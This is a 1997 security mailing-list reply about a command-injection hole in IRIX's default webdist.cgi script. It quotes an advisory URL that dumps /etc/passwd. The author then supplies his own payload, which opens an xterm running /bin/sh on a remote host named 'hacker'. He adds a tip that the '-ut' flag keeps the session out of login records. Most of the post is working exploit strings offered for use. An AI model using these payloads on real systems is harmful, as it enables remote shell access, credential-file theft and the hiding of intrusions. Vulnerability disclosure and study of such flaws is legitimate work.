Re: SGI Advisory: webdist.cgi

Chris Sheldon (csh@VIEWGRAPHICS.COM)
Wed, 07 May 1997 12:22:44 -0700

Messages sorted by: [ date ][ thread ][ subject ][ author ]
Next message: Jaechul Choe: "Re: Irix: misc"
Previous message: Aleph One: "Security flaw with Powerchute Plus 4.2 and a fix"

> Title: Default IRIX cgi-bin programs
> OS: irix
> OSver: 6.2,6.3
> Files: /var/www/cgi-bin/webdist.cgi
> Perms: X
> Access: Remote
>
> /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh

The '-ut' is the most important part... :-)

Chris.

Next message: Jaechul Choe: "Re: Irix: misc"
Previous message: Aleph One: "Security flaw with Powerchute Plus 4.2 and a fix"